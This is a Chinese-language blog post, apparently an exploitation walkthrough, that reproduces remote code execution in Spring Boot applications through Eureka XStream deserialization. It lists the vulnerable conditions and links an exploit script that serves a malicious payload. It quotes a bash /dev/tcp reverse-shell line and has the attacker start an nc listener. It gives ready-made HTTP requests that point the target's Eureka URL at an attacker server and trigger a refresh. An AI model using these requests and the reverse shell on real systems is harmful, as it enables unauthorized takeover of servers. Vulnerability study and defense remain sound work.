Spring-boot远程代码执行系列(eureka xstream deserialization RCE)

0x1 漏洞原理

1.eureka.client.serviceUrl.defaultZone 属性被设置为恶意的外部 eureka server URL 地址。
2.refresh 触发目标机器请求远程 URL,提前架设的 fake eureka server 就会返回恶意的 payload。
3.目标机器相关依赖解析 payload,触发 XStream 反序列化,造成 RCE 漏洞。

0x2 漏洞利用条件

1.可以 POST 请求目标网站的 /env 接口设置属性
2.可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)
3.目标使用的 eureka-client < 1.8.7(通常包含在 spring-cloud-starter-netflix-eureka-client 依赖中)
4.目标可以请求攻击者的 HTTP 服务器(请求可出外网)

0x3 漏洞复现

1、查看目标是否使用Spring Cloud Netflix。
Spring-boot远程代码执行系列(eureka xstream deserialization RCE)_第1张图片
2、架设响应恶意 XStream payload 的网站。
提供一个依赖 Flask 并符合要求的 python 脚本示例(https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-xstream-rce.py),作用是利用目标 Linux 机器上自带的 python 来反弹shell。
使用 python 在自己控制的服务器上运行以上的脚本,并根据实际情况修改脚本中反弹 shell 的 ip 地址和 端口号。

<string>bash -i >& /dev/tcp/ip/port 0>& 1</string>

Spring-boot远程代码执行系列(eureka xstream deserialization RCE)_第2张图片
运行。
Spring-boot远程代码执行系列(eureka xstream deserialization RCE)_第3张图片
3、nc开启监听。
Spring-boot远程代码执行系列(eureka xstream deserialization RCE)_第4张图片
4、设置 eureka.client.serviceUrl.defaultZone 属性

spring 1.x
POST /env HTTP/1.1
Host: 192.168.3.136:9093
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
​
eureka.client.serviceUrl.defaultZone=http://vpsip/example

Spring-boot远程代码执行系列(eureka xstream deserialization RCE)_第5张图片
5、刷新配置。

POST /refresh HTTP/1.1
Host: 192.168.3.136:9093
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

Spring-boot远程代码执行系列(eureka xstream deserialization RCE)_第6张图片
6、成功反弹shell。
Spring-boot远程代码执行系列(eureka xstream deserialization RCE)_第7张图片

0x4 参考

https://github.com/LandGrey/SpringBootVulExploit

你可能感兴趣的:(漏洞复现,springboot,命令执行,漏洞复现,搬砖)